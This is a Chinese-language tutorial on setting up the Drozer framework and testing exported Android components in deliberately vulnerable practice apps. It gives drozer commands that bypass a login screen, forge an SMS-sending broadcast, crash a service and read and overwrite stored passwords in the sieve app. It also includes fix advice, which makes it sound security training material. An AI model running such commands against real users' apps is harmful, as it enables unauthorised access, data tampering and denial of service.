一、Drozer 简介
Drozer是MWR Labs开发的一款Android安全测试框架。是目前最好的Android安全测试工具之一。其官方文档说道:“Drozer允许你一一个普通android应用的身份与其他应用和操作系统交互。”在Web世界已经有了许多安全测试工具了,我们只需要给出一个目标,这些工具就会自动为我们安全测试报告。但Drozer与这样的自动化扫描器不同,Drozer是一种交互式的安全测试工具。使用Drozer进行安全测试,用户在自己的工作站上输入命令,Drozer会将命令发送到Android设备上的代理程序执行。其官方文档说道:“Drozer允许你一个普通android应用的身份与其他应用和操作系统交互。
1.1 特点
*更快的 Android 安全评估:drozer 可以大大缩减 Android 安全评估的耗时,通过攻击测试暴露 Android APP 的漏洞。
*支持真机模拟器:drozer 运行在Android 模拟器和真实设备上。
- 自动化和扩展: drozer 有很多扩展模块,可以发现更多Android 安全问题。
二、环境部署
2.1 环境要求
dk1.8
python2.7
Android SDK 环境
*Genymotion模拟器
2.2 安装 drozer
1、下载地址:Drozer 下载对应的系统版 本即可,Drozer
2、安装时 Python 依赖路径选择,如果安装了 python3 需要切换到 Python2 路径
2..3 安装依赖库
安装 VCForPython27.msi, https://www.microsoft.com/en-us/download/details.aspx?id=44266 由于 Twisted 对此文件有依赖,所以需要安装。
安装 protobuf pyOpenSSL Twisted service_ identity 需要使用 Python2 的 pip 安装。
C:\Python27\Scripts
pip2 instal l protobuf pyOpenSSL Twisted service_ identity
- 如果安装上述的包出现超时报错,如下所示,可以切换到国内源如中科大源。
ReadTimeoutError: HTTPSConnectionPool (host='fi les.pythonhosted.org', port=443) : Read t imed out.
- 替换源之后的命令如下:
pip2 instal l protobuf pyOpenSSL Twisted service_ identity - i
https:/pypi.mirors.ustc.edu.cn/simple/
- 打开 cmd 进入 Python2 的目录,输入命令 drozer 看到如下命令说明安装成功。
2.4 设备安装
1、下载安装 agent:
链接:https://pan.baidu.com/s/1MA1LYn5iXP3hfAWdBNCaHw?pwd=abcd
提取码:abcd
2、到手机打开启 agent,如下图右下角按钮显示为开启状态 (如果显示为关闭,在其上
点击将其切换为开启即可),
3、点击底部 Embedded Server 然后点击顶部开关 Disabled 使其变为 Enabled
2.5 连接设备
1、打开 cmd 命令窗口,依次执行如下命令
- 设置端口转发:adb forward tcp:31415 tcp:31415
*连接设备 :drozer console connect
看到如上显示,说明启动成功,下一步则可以进行测试。如果想提出drozer 命令模式,则输 入指令 exit 即可退出。
三、安全测试
App攻击面分析
分析 Android 四大组件是否能被其他的的应用程序调用。
dz> run app.package.attacksurface+包名
【这里用这个包做示范com.android.insecurebankv2】
结果显示了潜在可以利用的组件个数:exported 表示组件可以被其他 App 使用。is debuggable 表示我们可以用adb 绑定一个调试器到进程。
四、Activity 组件暴露
Activity 简介
在应用程序(就是我们手机上运行的app)中,一个 Activity 通常就是一个单独的界面,它上面可以显示一些控件也可以监听 并处理用户的事件做出响应。 Activity 之间通过 Intent 进行通信。在 Intent 的描述结构中, 有两个最重要的部分:action 和 action 对应的数据
Activity 组件暴露概述
Activity 组件的属性 exported 被设置为 true 或是未设置 exported 值但 Intent-filter 不为空时, activity 被认为是导出的,可通过设置相应的 Intent 唤起 activity。查看下反编译出的 AndroidManifest.xml 文件,可看到将 activity 的 exported 设置为 true。说 明存在被导出的分险
危害描述
黑客可能构造恶意数据针对导出activity 组件实施越权攻击。
修复建议
如果组件不需要与其他 app 共享数据或交互,请将 AndroidManifest.xml 配置文件中设置该组 件为 exported = “False” 。如果组件需要与其他 app 共享数据或交互, 请对组件进行权限 控制和参数校验。
项目实操
我们挑选一个apk测试应用:InsecureBankv2
下载地址:https://pan.baidu.com/s/1d4jJG58aTk9xnsiizvTFzw?pwd=abcd
提取码:abcd
供安全爱好者和开发人员 通过测试此易受攻击的应用程序来学习Android 不安全性。它的后端服务器组件是用 python 编写的。它与 Python2 兼容。
注意:电脑上安装了杀毒软件,会将该 apk 视为病毒,忽略就好。
https://github.com/dineshshetty/Android-InsecureBankv2/releases选择最新版本安 装下载即可。
第一步先查看对外的 activity 组件信息
使用命令:run app.activity. info -a+包名可以查看对外的 activity 组件信息。
操作 命令:run app.activity.info -a com.android.insecurebankv2
Package : com.android. insecurebankv2
com.android.insecurebankv2.LoginActivity
Permiss ion: nul l
com.android.insecurebankv2.PostLogin
Permiss ion: nul l
com.android.insecurebankv2.DoTransfer
Permiss ion: nul l
com.android.insecurebankv2.ViewStatement
Permiss ion: nul l
com.android.insecurebankv2.ChangePassword
Permiss ion: nul l
第二步越权漏洞检测
通过命令 run app.activity.start 调用 activity 组件
命令:run app.activity.start --component 包名 Activity 名
命令:run app.activity.start --component com.xxxx.sample com.xxx.xxxxx.WXEntryActivity
我们如果绕过登录界面导致可直接访问,说明存在越权漏洞。
操作命令:run app.activity.start --component com.android. insecurebankv2 com.android.insecurebankv2.PostLogin
这里很显然直接跳过了登录界面进入到该页面
五、BroadcastReceiver 组件暴露
Broadcast 简介
BroadcastReceiver 消息组件,应用可以使用它对外部事件进行过滤,只对特定的外部事件(如 当电话呼入时,或者数据网络可用时)进行接收并做出响应。消息组件没有用户界面。然而, 它们可以启动一个 activity 或 serice 来响应它们收到的信息,或者用 NotificationManager 来通知用户。
通知可以用很多种方式来吸引用户的注意力──闪动呼吸灯、震动、播放声音等。一般来说 是在状态栏上放一个持久的图标,用户可以打开它并获取消息。
BroadcastReceiver 漏洞概况
风险描述
BroadcastReceiver 组件的属性 exported 被设置为 true 或是未设置 exported 值但 intent-filter 不为空时,BroadcastReceiver 被认为是导出的。
危害描述
导出的消息组件可以导致数据泄漏或者是越权。
修复建议
如果组件不需要与其他 app 共享数据或交互,请将 AndroidManifest.xml 配置文件中设置该组 件为 exported = “False” 。如果组件需要与其他 app 共享数据或交互, 请对组件进行权限 控制和参数校验。
项目实操
拒绝服务攻击检测测试包 FourGoats 为 OWASP的项目,集成了一堆漏洞的 APK,代码未经过混 淆与加密,可以反编译后看到比较清晰的逻辑,分析漏洞成因。虽然是许多年前的项目,很 多漏洞也早已消失,但对于入门的新手来说还是有一定的价值的。
Apk 下载地址:https://pan.baidu.com/s/1DuDGn04nMu3hUXacGFTwVQ?pwd=abcd
提取码:abcd
获取 Broadcast 信息
5.1 查看 Broadcast 具体信息,找到广播的类名,以及注册的 Intent 的动作。
命令:run app.broadcast.info -a org.owasp.goatdroid.fourgoats -i
Package: org.owasp.goatdroid.fourgoats
org.owasp.goatdroid.fourgoats.broadcastreceivers.SendSMSNowReceiver
Intent Filter:
Actions:
- org.owasp.goatdroid.fourgoats.SOCIAL_SMS
Permission: null
5.2查看反编译的 AndroidManifest.xml 文件,可看到将 receiver 的 exported 设置未进行设 置。说明存在越权问题,可发送恶意广播,伪造消息等等。
5.3 反编译 apk 文件,然后查看 broadcast 的源代码,从中可以看到短信发送需要的关键 字:phoneNumber 和 message
经过以上三步我们获取到的信息有:
- action 动作名称为:org.owasp.goatdroid.fourgoats.SOCIAL_SMS
*component 组件名称为:org.owasp.goatdroid.fourgoats.broadcastreceivers.SendSMSNowReceiver
*intent 意图传递的参数为:phoneNumber 和 message
执行 broadcast 攻击
- 根据上面掌握的信息,就可以构造短信发送的广播,在 drozer 中使用如下命令:
run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --extra string phoneNumber 8618144775569 --extra string message hacked!
- 上面命令表示向手机号为 10010 的用户发送短信,内容为:hacked!,同时在 App 界面 可以看到 Toast 提示 :Your text message has been send!
- 尝试拒绝服务攻击检测,向广播组件发送不完整 intent 使用空 extras,可看到应用 停止运行。
命令:run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS
六、Service 组件
service 简介
Service 是一段长生命周期的没有用户界面的程序,可以用来开发如监控类程序。 比如一个 正在从播放列表中播放歌曲的媒体播放器。在一个媒体播放器的应用中有多个 activity,让 使用者可以选择歌曲并播放歌曲。然而音乐续播这个功能并没有对应的 activity,因为用户 当然会认为在切换到其它界面时音乐应该还在后台播放的。
在这个例子中,媒体播放器这个 activity 会使用 Context.startService()来启动一个 service, 从而可以在后台保持音乐的播放。同时,系统也将保持这个 service 一直执行,直到这个 service 运行结束。
另外,我们还可以通过使用 Context.bindService()方法,连接到一个 service 上 (如果这个 service 还没有运行将启动它) 。当连接到一个 service 之后,我们还可以使用 service 提供的 接口与它进行通讯。拿媒体播放器这个例子来说,我们还可以进行暂停、切换等操作。
Service 组件暴露
风险描述
Service 组件的属性 exported 被设置为 true 或是未设置 exported 值但 Intent-Filter 不为空时, Service 被认为是导出的,可通过设置相应的 Intent 唤起 Service。
危害描述
黑客可能构造恶意数据针对导出Service 组件实施越权攻击。
修复建议
如果组件不需要与其他 app 共享数据或交互,请将 AndroidManifest.xml 配置文件中设置该组 件为 exported = “False” 。如果组件需要与其他 app 共享数据或交互, 请对组件进行权限 控制和参数校验。
AndroidManifest 检测
我们使用之前的测试应用 FourGoats.apk, 查看反编译的 AndroidManifest.xml 文件,可以看出 : intent-filter 不为空且未将 exported 设置为 false,所以 services 默认是导出 的,org.owasp.fourgoats.goatdroid.LocationService 服务被导出,不需要任何权限。 这意味着恶意应用程序可以通过FourGoats 应用程序访问设备的位置。
指令: run app.service.info -a [pkg] 可以查看对外暴露的 service 组件。
dz> run app.service.info -a org.owasp.goatdroid.fourgoats
Package: org.owasp.goatdroid.fourgoats
org.owasp.goatdroid.fourgoats.services.LocationService
Permission: null
项目实操
调用服务组件进行拒绝服务攻击
使用命令 run app.service.start --action 服务名 --component 包名 服务名
我们可以对被导出的 服务 org.owasp.goatdroid.fourgoats.services.LocationService 执行攻击。
命令:run app.service.start --action org.owasp.goatdroid.fourgoats.services.LocationService --component org.owasp.goatdroid.fourgoats org.owasp.goatdroid.fourgoats.services.LocationService
执行完成之后,可以看到App 直接崩溃。Android 应用使用 Intent 机制在组件之间传递数据, 如果应用在使用 getIntent(),getAction(),Intent.getXXXExtra()获取到空数据、异常或者畸形 数据时没有进行异常捕获,应用就会发生 Crash,应用不可使用 (本地拒绝服务) 。恶意应用 可通过向受害者应用发送此类空数据、异常或者畸形数据从而使应用产生本地拒绝服务。 当应用被恶意应用攻击时,本地拒绝服务一般会导致正在运行的应用崩溃,首先影响用户体 验,其次影响到后台的Crash 统计数据,另外比较严重的后果是应用如果是系统级的软件, 可能导致手机重启。
七、ContentProvider 组件
ContentProvider 简介
Android 平台提供了 Content Provider 使一个应用程序的指定数据集提供给其他应用程序。这 些数据可以存储在文件系统中或存在一个 SQLite 数据库。
其他应用可以通过ContentResolver 类从ContentProvider 中获取或存入数据, 只有需要在多个 应用程序间共享数据是才需要 ContentResolver。
例如:通讯录数据被多个应用程序使用,必须存储在一个 ContentResolver 中它的好处就是统 一数据访问方式。
ContentProvider 组件暴露
风险描述
Content Provider 组件的属性 exported 被设置为 true 或是 Android API<=16 时,Content Provider 被认为是导出的。
危害描述
黑客可能访问到应用本身不想共享的数据或文件。
修复建议
如果组件不需要与其他 app 共享数据或交互,请将 AndroidManifest.xml 配置文件中设置该组 件为 exported = “False” 。如果组件需要与其他 app 共享数据或交互, 请对组件进行权限 控 制和参数校验。
项目实操
这里我们使用 drozer 官方提供的测试应用 sieve 进行测试,这是一个密码管理工具,是官方 用于展示常见安卓应用漏洞的应用。
下载地址:sieve.apk
https://github.com/mwrlabs/drozer/releases/download/2.3.4/sieve.apk
获取 Content Provider 与 URI
1. 首先获取 Content Provider 信息,命令如下:
run app.provider.info -a com.mwr.example.sieve
z> run app.provider.info -a com.mwr.example.sieve
ackage: com.mwr.example.sieve
Authority: com.mwr.example.sieve.DBContentProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.DBContentProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
Path Permissions:
Path: /Keys
Type: PATTERN_LITERAL
Read Permission: com.mwr.example.sieve.READ_KEYS
Write Permission: com.mwr.example.sieve.WRITE_KEYS
Authority: com.mwr.example.sieve.FileBackupProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.FileBackupProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
2. 从上面扫描可以看到有 2 个 Content Provider:
- com.mwr.examp le.s ieve.DBContentProvider
*com.mwr.examp le.s ieve.Fi leBackupProvider
第一个是数据库相关,第二个是文件备份数据相关。
3. 获取 URI (统一资源标识符)列表,命令如下:
run scanner.provider.finduris -a com.mwr.example.sieve
dz> run scanner.provider.finduris -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/
Unable to Query content://com.mwr.example.sieve.FileBackupProvider/
Unable to Query content://com.mwr.example.sieve.DBContentProvider
Able to Query content://com.mwr.example.sieve.DBContentProvider/Passwords/
Able to Query content://com.mwr.example.sieve.DBContentProvider/Keys/
Unable to Query content://com.mwr.example.sieve.FileBackupProvider
Able to Query content://com.mwr.example.sieve.DBContentProvider/Passwords
Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys
Accessible content URIs:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
4. 根据上面的扫描结果,存在 Accessible content URIs 说明存在注入风险。
执行攻击
1. 打开 sieve 应用,输入 password(至少 16 位)和 pin
** 2. 我们获取 URI 数据如下所示,即可查到我们输入的 password 和 pin 的具体值**
命令:run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/
** 3. 因为 Password 更改时有长度限制,至少 16 位,看起来似乎是比较安全的,可这只是 表面上的。**
我们可以使用命令直接修改 password 数据,运行:
命令:
run app.provider.update content://com.mwr.example.sieve.DBContentProvider/Keys/ --selection pin=1234567891234567 --string Password 1234
- 再次查询时发现密码已经被更改了,并且也不会限制密码的长度为至少 16 位了。
检查是否有 sql 注入
SQL 注入是比较常见的网络攻击方式之一,它不是利用操作系统的 BUG 来实现攻击,而是针 对程序员编写时的疏忽,通过 SQL 语句,实现无账号登录甚至篡改数据库等非法操作。
可以使用如下命令扫描查询是否存在 SQL 注入
命令:run scanner.provider.injection -a com.mwr.example.sieve
检查是否存在遍历文件的漏洞
命令:run scanner.provider.traversal -a com.mwr.example.sieve
版权归原作者 测试不止点点点 所有, 如有侵权,请联系我们删除。